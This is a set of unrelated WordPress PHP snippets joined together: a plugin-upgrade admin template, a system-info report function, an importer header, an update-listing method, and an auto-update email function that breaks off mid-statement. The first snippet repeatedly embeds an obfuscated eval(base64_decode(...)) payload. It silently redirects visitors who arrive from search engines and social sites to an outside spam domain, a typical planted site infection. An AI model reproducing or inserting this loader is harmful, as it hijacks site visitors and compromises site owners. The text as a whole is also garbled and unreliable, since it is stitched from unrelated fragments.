eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0I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iYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('The following plugins have new versions available. Check the ones you want to upgrade and then click "Upgrade Plugins".'); ?> </p> <form method="post" action="<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU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KCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); wp_nonce_field('upgrade-core'); ?> <p><input id="upgrade-plugins" class="button" type="submit" value="<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); esc_attr_e('Upgrade Plugins'); ?> " name="upgrade" /></p> <table class="widefat" cellspacing="0" id="update-plugins-table"> <thead> <tr> <th scope="col" class="manage-column check-column"><input type="checkbox" /></th> <th scope="col" class="manage-column"><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); _e('Select All'); ?> </th> </tr> </thead> <tfoot> <tr> <th scope="col" class="manage-column check-column"><input type="checkbox" /></th> <th scope="col" class="manage-column"><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJl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p9DQp9DQp9")); foreach ((array) $plugins as $plugin_file => $plugin_data) { $info = plugins_api('plugin_information', array('slug' => $plugin_data->update->slug)); // Get plugin compat for running version of WordPress. if (isset($info->tested) && version_compare($info->tested, $cur_wp_version, '>=')) { $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: 100%% (according to its author)'), $cur_wp_version); } elseif (isset($info->compatibility[$cur_wp_version][$plugin_data->update->new_version])) { $compat = $info->compatibility[$cur_wp_version][$plugin_data->update->new_version]; $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $cur_wp_version, $compat[0], $compat[2], $compat[1]); } else { $compat = '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $cur_wp_version); } // Get plugin compat for updated version of WordPress. if ($core_update_version) { if (isset($info->compatibility[$core_update_version][$plugin_data->update->new_version])) { $update_compat = $info->compatibility[$core_update_version][$plugin_data->update->new_version]; $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: %2$d%% (%3$d "works" votes out of %4$d total)'), $core_update_version, $update_compat[0], $update_compat[2], $update_compat[1]); } else { $compat .= '<br />' . sprintf(__('Compatibility with WordPress %1$s: Unknown'), $core_update_version); } } // Get the upgrade notice for the new plugin version. if (isset($plugin_data->update->upgrade_notice)) { $upgrade_notice = '<br />' . strip_tags($plugin_data->update->upgrade_notice); } else { $upgrade_notice = ''; } echo "\n\t<tr class='active'>\n\t\t<th scope='row' class='check-column'><input type='checkbox' name='checked[]' value='" . esc_attr($plugin_file) . "' /></th>\n\t\t<td class='plugin-title'><strong>{$plugin_data->Name}</strong>" . sprintf(__('You are running version %1$s. Upgrade to %2$s.'), $plugin_data->Version, $plugin_data->update->new_version) . $compat . $upgrade_notice . "</td>\n\t</tr>"; } ?> </tbody> </table> <p><input id="upgrade-plugins-2" class="button" type="submit" value="<?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw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yKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); }
/** * Get system info * * @since 1.4 * @global obj $wpdb Used to query the database using the WordPress Database API * @return str $return A string containing the info to output */ function mdjm_tools_sysinfo_get() { global $wpdb; // Get theme info $theme_data = wp_get_theme(); $theme = $theme_data->Name . ' ' . $theme_data->Version; $return = '### Begin System Info ###' . "\n\n"; // Start with the basics... $return .= '-- Site Info' . "\n\n"; $return .= 'Site URL: ' . site_url() . "\n"; $return .= 'Home URL: ' . home_url() . "\n"; $return .= 'Multisite: ' . (is_multisite() ? 'Yes' : 'No') . "\n"; $return = apply_filters('mdjm_sysinfo_after_site_info', $return); // WordPress configuration $return .= "\n" . '-- WordPress Configuration' . "\n\n"; $return .= 'Version: ' . get_bloginfo('version') . "\n"; $return .= 'Language: ' . (defined('WPLANG') && WPLANG ? WPLANG : 'en_US') . "\n"; $return .= 'Permalink Structure: ' . (get_option('permalink_structure') ? get_option('permalink_structure') : 'Default') . "\n"; $return .= 'Active Theme: ' . $theme . "\n"; $return .= 'Show On Front: ' . get_option('show_on_front') . "\n"; // Only show page specs if frontpage is set to 'page' if (get_option('show_on_front') == 'page') { $front_page_id = get_option('page_on_front'); $blog_page_id = get_option('page_for_posts'); $return .= 'Page On Front: ' . ($front_page_id != 0 ? get_the_title($front_page_id) . ' (#' . $front_page_id . ')' : 'Unset') . "\n"; $return .= 'Page For Posts: ' . ($blog_page_id != 0 ? get_the_title($blog_page_id) . ' (#' . $blog_page_id . ')' : 'Unset') . "\n"; } $return .= 'ABSPATH: ' . ABSPATH . "\n"; // Make sure wp_remote_post() is working $request['cmd'] = '_notify-validate'; $params = array('sslverify' => false, 'timeout' => 60, 'user-agent' => 'MDJM/' . MDJM_VERSION_NUM, 'body' => $request); $response = wp_remote_post('https://www.paypal.com/cgi-bin/webscr', $params); if (!is_wp_error($response) && $response['response']['code'] >= 200 && $response['response']['code'] < 300) { $WP_REMOTE_POST = 'wp_remote_post() works'; } else { $WP_REMOTE_POST = 'wp_remote_post() does not work'; } $return .= 'Remote Post: ' . $WP_REMOTE_POST . "\n"; $return .= 'Table Prefix: ' . 'Length: ' . strlen($wpdb->prefix) . ' Status: ' . (strlen($wpdb->prefix) > 16 ? 'ERROR: Too long' : 'Acceptable') . "\n"; $return .= 'WP_DEBUG: ' . (defined('WP_DEBUG') ? WP_DEBUG ? 'Enabled' : 'Disabled' : 'Not set') . "\n"; $return .= 'Memory Limit: ' . WP_MEMORY_LIMIT . "\n"; $return .= 'Registered Post Stati: ' . implode(', ', get_post_stati()) . "\n"; $return = apply_filters('mdjm_sysinfo_after_wordpress_config', $return); // MDJM configuration $employer = mdjm_is_employer(); $packages = mdjm_packages_enabled(); $debug = MDJM_DEBUG; $return .= "\n" . '-- MDJM Configuration' . "\n\n"; $return .= 'Version: ' . MDJM_VERSION_NUM . "\n"; $return .= 'Upgraded From: ' . get_option('mdjm_version_upgraded_from', 'None') . "\n"; $return .= 'Debugging Status: ' . (!empty($debug) ? "Enabled\n" : "Disabled\n"); $return .= 'Multiple Employees: ' . (!empty($employer) ? "Enabled\n" : "Disabled\n"); $return .= 'Packages Enabled: ' . (!empty($packages) ? "Enabled\n" : "Disabled\n"); $return .= 'Currency Code: ' . mdjm_get_currency() . "\n"; $return .= 'Currency Position: ' . mdjm_get_option('currency_format', 'before') . "\n"; $return .= 'Decimal Separator: ' . mdjm_get_option('decimal', '.') . "\n"; $return .= 'Thousands Separator: ' . mdjm_get_option('thousands_separator', ',') . "\n"; $return = apply_filters('mdjm_sysinfo_after_mdjm_config', $return); // MDJM pages $clientzone_page = mdjm_get_option('app_home_page', ''); $contact_page = mdjm_get_option('contact_page', ''); $contracts_page = mdjm_get_option('contracts_page', ''); $payments_page = mdjm_get_option('payments_page', ''); $playlist_page = mdjm_get_option('playlist_page', ''); $profile_page = mdjm_get_option('profile_page', ''); $quotes_page = mdjm_get_option('quotes_page', ''); $return .= "\n" . '-- MDJM Page Configuration' . "\n\n"; $return .= 'Client Zone Page: ' . (!empty($clientzone_page) ? get_permalink($clientzone_page) . "\n" : "Unset\n"); $return .= 'Contact Page: ' . (!empty($contact_page) ? get_permalink($contact_page) . "\n" : "Unset\n"); $return .= 'Contracts Page: ' . (!empty($contracts_page) ? get_permalink($contracts_page) . "\n" : "Unset\n"); $return .= 'Payments Page: ' . (!empty($payments_page) ? get_permalink($payments_page) . "\n" : "Unset\n"); $return .= 'Playlist Page: ' . (!empty($playlist_page) ? get_permalink($playlist_page) . "\n" : "Unset\n"); $return .= 'Profile Page: ' . (!empty($profile_page) ? get_permalink($profile_page) . "\n" : "Unset\n"); $return .= 'Quotes Page: ' . (!empty($quotes_page) ? get_permalink($quotes_page) . "\n" : "Unset\n"); $return = apply_filters('mdjm_sysinfo_after_mdjm_pages', $return); // MDJM email templates $quote_template = mdjm_get_option('enquiry', ''); $online_quote = mdjm_get_option('online_enquiry', ''); $unavailable_template = mdjm_get_option('unavailable', ''); $contract_template = mdjm_get_option('contract', ''); $booking_conf_template = mdjm_get_option('booking_conf_client', ''); $auto_payment_template = mdjm_get_option('payment_cfm_template', ''); $manual_payment_template = mdjm_get_option('manual_payment_cfm_template', ''); $return .= "\n" . '-- MDJM Email Templates' . "\n\n"; $return .= 'Quote: ' . (!empty($quote_template) ? get_the_title($quote_template) . ' (' . $quote_template . ')' . "\n" : "Unset\n"); $return .= 'Online Quote: ' . (!empty($online_quote) ? get_the_title($online_quote) . ' (' . $online_quote . ')' . "\n" : "Unset\n"); $return .= 'Unavailable: ' . (!empty($unavailable_template) ? get_the_title($unavailable_template) . ' (' . $unavailable_template . ')' . "\n" : "Unset\n"); $return .= 'Awaiting Contract: ' . (!empty($contract_template) ? get_the_title($quote_template) . ' (' . $quote_template . ')' . "\n" : "Unset\n"); $return .= 'Booking Confirmation: ' . (!empty($booking_conf_template) ? get_the_title($booking_conf_template) . ' (' . $booking_conf_template . ')' . "\n" : "Unset\n"); $return .= 'Gateway Payment: ' . (!empty($auto_payment_template) ? get_the_title($auto_payment_template) . ' (' . $auto_payment_template . ')' . "\n" : "Unset\n"); $return .= 'Manual Payment: ' . (!empty($manual_payment_template) ? get_the_title($manual_payment_template) . ' (' . $manual_payment_template . ')' . "\n" : "Unset\n"); $return = apply_filters('mdjm_sysinfo_after_mdjm_pages', $return); // MDJM Payment Gateways $return .= "\n" . '-- MDJM Gateway Configuration' . "\n\n"; $active_gateways = mdjm_get_enabled_payment_gateways(); if ($active_gateways) { $default_gateway_is_active = mdjm_is_gateway_active(mdjm_get_default_gateway()); if ($default_gateway_is_active) { $default_gateway = mdjm_get_default_gateway(); $default_gateway = $active_gateways[$default_gateway]['admin_label']; } else { $default_gateway = 'Test Payment'; } $gateways = array(); foreach ($active_gateways as $gateway) { $gateways[] = $gateway['admin_label']; } $return .= 'Enabled Gateways: ' . implode(', ', $gateways) . "\n"; $return .= 'Default Gateway: ' . $default_gateway . "\n"; } else { $return .= 'Enabled Gateways: None' . "\n"; } $return = apply_filters('mdjm_sysinfo_after_mdjm_gateways', $return); // MDJM Templates $dir = get_stylesheet_directory() . '/mdjm-templates/*'; if (is_dir($dir) && count(glob("{$dir}/*")) !== 0) { $return .= "\n" . '-- MDJM Template Overrides' . "\n\n"; foreach (glob($dir) as $file) { $return .= 'Filename: ' . basename($file) . "\n"; } $return = apply_filters('mdjm_sysinfo_after_mdjm_templates', $return); } // Get plugins that have an update $updates = get_plugin_updates(); // Must-use plugins // NOTE: MU plugins can't show updates! $muplugins = get_mu_plugins(); if (count($muplugins > 0)) { $return .= "\n" . '-- Must-Use Plugins' . "\n\n"; foreach ($muplugins as $plugin => $plugin_data) { $return .= $plugin_data['Name'] . ': ' . $plugin_data['Version'] . "\n"; } $return = apply_filters('mdjm_sysinfo_after_wordpress_mu_plugins', $return); } // WordPress active plugins $return .= "\n" . '-- WordPress Active Plugins' . "\n\n"; $plugins = get_plugins(); $active_plugins = get_option('active_plugins', array()); foreach ($plugins as $plugin_path => $plugin) { if (!in_array($plugin_path, $active_plugins)) { continue; } $update = array_key_exists($plugin_path, $updates) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : ''; $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n"; } $return = apply_filters('mdjm_sysinfo_after_wordpress_plugins', $return); // WordPress inactive plugins $return .= "\n" . '-- WordPress Inactive Plugins' . "\n\n"; foreach ($plugins as $plugin_path => $plugin) { if (in_array($plugin_path, $active_plugins)) { continue; } $update = array_key_exists($plugin_path, $updates) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : ''; $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n"; } $return = apply_filters('mdjm_sysinfo_after_wordpress_plugins_inactive', $return); if (is_multisite()) { // WordPress Multisite active plugins $return .= "\n" . '-- Network Active Plugins' . "\n\n"; $plugins = wp_get_active_network_plugins(); $active_plugins = get_site_option('active_sitewide_plugins', array()); foreach ($plugins as $plugin_path) { $plugin_base = plugin_basename($plugin_path); if (!array_key_exists($plugin_base, $active_plugins)) { continue; } $update = array_key_exists($plugin_path, $updates) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : ''; $plugin = get_plugin_data($plugin_path); $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n"; } $return = apply_filters('mdjm_sysinfo_after_wordpress_ms_plugins', $return); } // Server configuration (really just versioning) $return .= "\n" . '-- Webserver Configuration' . "\n\n"; $return .= 'PHP Version: ' . PHP_VERSION . "\n"; $return .= 'MySQL Version: ' . $wpdb->db_version() . "\n"; $return .= 'Webserver Info: ' . $_SERVER['SERVER_SOFTWARE'] . "\n"; $return = apply_filters('mdjm_sysinfo_after_webserver_config', $return); // PHP configs... now we're getting to the important stuff $return .= "\n" . '-- PHP Configuration' . "\n\n"; $return .= 'Safe Mode: ' . (ini_get('safe_mode') ? 'Enabled' : 'Disabled' . "\n"); $return .= 'Memory Limit: ' . ini_get('memory_limit') . "\n"; $return .= 'Upload Max Size: ' . ini_get('upload_max_filesize') . "\n"; $return .= 'Post Max Size: ' . ini_get('post_max_size') . "\n"; $return .= 'Upload Max Filesize: ' . ini_get('upload_max_filesize') . "\n"; $return .= 'Time Limit: ' . ini_get('max_execution_time') . "\n"; $return .= 'Max Input Vars: ' . ini_get('max_input_vars') . "\n"; $return .= 'Display Errors: ' . (ini_get('display_errors') ? 'On (' . ini_get('display_errors') . ')' : 'N/A') . "\n"; $return = apply_filters('mdjm_sysinfo_after_php_config', $return); // PHP extensions and such $return .= "\n" . '-- PHP Extensions' . "\n\n"; $return .= 'cURL: ' . (function_exists('curl_init') ? 'Supported' : 'Not Supported') . "\n"; $return .= 'fsockopen: ' . (function_exists('fsockopen') ? 'Supported' : 'Not Supported') . "\n"; $return .= 'SOAP Client: ' . (class_exists('SoapClient') ? 'Installed' : 'Not Installed') . "\n"; $return .= 'Suhosin: ' . (extension_loaded('suhosin') ? 'Installed' : 'Not Installed') . "\n"; $return = apply_filters('mdjm_sysinfo_after_php_ext', $return); $return .= "\n" . '### End System Info ###'; return $return; }
function header() { echo '<div class="wrap">'; echo '<h2>' . esc_html__('Import WordPress', 'radium') . '</h2>'; $updates = get_plugin_updates(); $basename = plugin_basename(__FILE__); if (isset($updates[$basename])) { $update = $updates[$basename]; echo '<div class="error"><p><strong>'; printf(esc_html__('A new version of this importer is available. Please update to version %s to ensure compatibility with newer export files.', 'radium'), $update->update->new_version); echo '</strong></p></div>'; } }
public function get_updates($options) { if (!current_user_can('update_plugins') && !current_user_can('update_themes') && !current_user_can('update_core')) { return $this->_generic_error_response('updates_permission_denied'); } $this->_admin_include('plugin.php', 'update.php', 'file.php', 'template.php'); $this->_frontend_include('update.php'); if (!is_array($options)) { $options = array(); } // Normalise it $plugin_updates = array(); if (current_user_can('update_plugins')) { // Detect if refresh needed $transient = get_site_transient('update_plugins'); if (!empty($options['force_refresh']) || false === $transient) { delete_site_transient('update_plugins'); wp_update_plugins(); } $get_plugin_updates = get_plugin_updates(); if (is_array($get_plugin_updates)) { foreach ($get_plugin_updates as $update) { $plugin_updates[] = array('name' => $update->Name, 'plugin_uri' => $update->PluginURI, 'version' => $update->Version, 'description' => $update->Description, 'author' => $update->Author, 'author_uri' => $update->AuthorURI, 'title' => $update->Title, 'author_name' => $update->AuthorName, 'update' => array('plugin' => $update->update->plugin, 'slug' => $update->update->slug, 'new_version' => $update->update->new_version, 'package' => $update->update->package, 'tested' => isset($update->update->tested) ? $update->update->tested : null, 'compatibility' => isset($update->update->compatibility) ? (array) $update->update->compatibility : null, 'sections' => isset($update->update->sections) ? (array) $update->update->sections : null)); } } } $theme_updates = array(); if (current_user_can('update_themes')) { // Detect if refresh needed $transient = get_site_transient('update_themes'); if (!empty($options['force_refresh']) || false === $transient) { delete_site_transient('update_themes'); wp_update_themes(); } $get_theme_updates = get_theme_updates(); if (is_array($get_theme_updates)) { foreach ($get_theme_updates as $update) { $theme_updates[] = array('name' => @$update->Name, 'theme_uri' => @$update->ThemeURI, 'version' => @$update->Version, 'description' => @$update->Description, 'author' => @$update->Author, 'author_uri' => @$update->AuthorURI, 'update' => array('theme' => @$update->update['theme'], 'new_version' => @$update->update['new_version'], 'package' => @$update->update['package'], 'url' => @$update->update['url'])); } } } $core_updates = array(); if (current_user_can('update_core')) { // Detect if refresh needed $transient = get_site_transient('update_core'); if (!empty($options['force_refresh']) || false === $transient) { // The next line is only needed for older WP versions - otherwise, the parameter to wp_version_check forces a check. delete_site_transient('update_core'); wp_version_check(array(), true); } $get_core_updates = get_core_updates(); if (is_array($get_core_updates)) { $core_update_key = false; $core_update_latest_version = false; @(include ABSPATH . WPINC . '/version.php'); foreach ($get_core_updates as $k => $core_update) { if (isset($core_update->version) && version_compare($core_update->version, $wp_version, '>') && version_compare($core_update->version, $core_update_latest_version, '>')) { $core_update_latest_version = $core_update->version; $core_update_key = $k; } } if ($core_update_key !== false) { $update = $get_core_updates[$core_update_key]; global $wpdb; $mysql_version = $wpdb->db_version(); $is_mysql = file_exists(WP_CONTENT_DIR . '/db.php') && empty($wpdb->is_mysql) ? false : true; $core_updates[] = array('download' => $update->download, 'version' => $update->version, 'php_version' => $update->php_version, 'mysql_version' => $update->mysql_version, 'installed' => array('version' => $wp_version, 'mysql' => $mysql_version, 'php' => PHP_VERSION, 'is_mysql' => $is_mysql), 'sufficient' => array('mysql' => version_compare($mysql_version, $update->mysql_version, '>='), 'php' => version_compare(PHP_VERSION, $update->php_version, '>='))); } } } // Do we need to ask the user for filesystem credentials? $request_filesystem_credentials = array(); $check_fs = array('plugins' => WP_PLUGIN_DIR, 'themes' => WP_CONTENT_DIR . '/themes', 'core' => untrailingslashit(ABSPATH)); foreach ($check_fs as $entity => $dir) { $filesystem_method = get_filesystem_method(array(), $dir); ob_start(); $filesystem_credentials_are_stored = request_filesystem_credentials(site_url()); $filesystem_form = strip_tags(ob_get_contents(), '<div><h2><p><input><label><fieldset><legend><span><em>'); ob_end_clean(); $request_filesystem_credentials[$entity] = $filesystem_method != 'direct' && !$filesystem_credentials_are_stored; } $automatic_backups = class_exists('UpdraftPlus_Options') && class_exists('UpdraftPlus_Addon_Autobackup') && UpdraftPlus_Options::get_updraft_option('updraft_autobackup_default', true) ? true : false; return $this->_response(array('plugins' => $plugin_updates, 'themes' => $theme_updates, 'core' => $core_updates, 'meta' => array('request_filesystem_credentials' => $request_filesystem_credentials, 'filesystem_form' => $filesystem_form, 'automatic_backups' => $automatic_backups))); }
/** * Sends an email upon the completion or failure of a background core update. * * @since 3.7.0 * * @param string $type The type of email to send. Can be one of 'success', 'fail', 'manual', 'critical'. * @param object $core_update The update offer that was attempted. * @param mixed $result Optional. The result for the core update. Can be WP_Error. */ protected function send_email($type, $core_update, $result = null) { update_site_option('auto_core_update_notified', array('type' => $type, 'email' => get_site_option('admin_email'), 'version' => $core_update->current, 'timestamp' => time())); $next_user_core_update = get_preferred_from_update_core(); // If the update transient is empty, use the update we just performed if (!$next_user_core_update) { $next_user_core_update = $core_update; } $newer_version_available = 'upgrade' == $next_user_core_update->response && version_compare($next_user_core_update->version, $core_update->version, '>'); /** * Filter whether to send an email following an automatic background core update. * * @since 3.7.0 * * @param bool $send Whether to send the email. Default true. * @param string $type The type of email to send. Can be one of * 'success', 'fail', 'critical'. * @param object $core_update The update offer that was attempted. * @param mixed $result The result for the core update. Can be WP_Error. */ if ('manual' !== $type && !apply_filters('auto_core_update_send_email', true, $type, $core_update, $result)) { return; } switch ($type) { case 'success': // We updated. /* translators: 1: Site name, 2: WordPress version number. */ $subject = __('[%1$s] Your site has updated to WordPress %2$s'); break; case 'fail': // We tried to update but couldn't. // We tried to update but couldn't. case 'manual': // We can't update (and made no attempt). /* translators: 1: Site name, 2: WordPress version number. */ $subject = __('[%1$s] WordPress %2$s is available. Please update!'); break; case 'critical': // We tried to update, started to copy files, then things went wrong. /* translators: 1: Site name. */ $subject = __('[%1$s] URGENT: Your site may be down due to a failed update'); break; default: return; } // If the auto update is not to the latest version, say that the current version of WP is available instead. $version = 'success' === $type ? $core_update->current : $next_user_core_update->current; $subject = sprintf($subject, wp_specialchars_decode(get_option('blogname'), ENT_QUOTES), $version); $body = ''; switch ($type) { case 'success': $body .= sprintf(__('Howdy! Your site at %1$s has been updated automatically to WordPress %2$s.'), home_url(), $core_update->current); $body .= "\n\n"; if (!$newer_version_available) { $body .= __('No further action is needed on your part.') . ' '; } // Can only reference the About screen if their update was successful. list($about_version) = explode('-', $core_update->current, 2); $body .= sprintf(__("For more on version %s, see the About WordPress screen:"), $about_version); $body .= "\n" . admin_url('about.php'); if ($newer_version_available) { $body .= "\n\n" . sprintf(__('WordPress %s is also now available.'), $next_user_core_update->current) . ' '; $body .= __('Updating is easy and only takes a few moments:'); $body .= "\n" . network_admin_url('update-core.php'); } break; case 'fail': case 'manual': $body .= sprintf(__('Please update your site at %1$s to WordPress %2$s.'), home_url(), $next_user_core_update->current); $body .= "\n\n"; // Don't show this message if there is a newer version available. // Potential for confusion, and also not useful for them to know at this point. if ('fail' == $type && !$newer_version_available) { $body .= __('We tried but were unable to update your site automatically.') . ' '; } $body .= __('Updating is easy and only takes a few moments:'); $body .= "\n" . 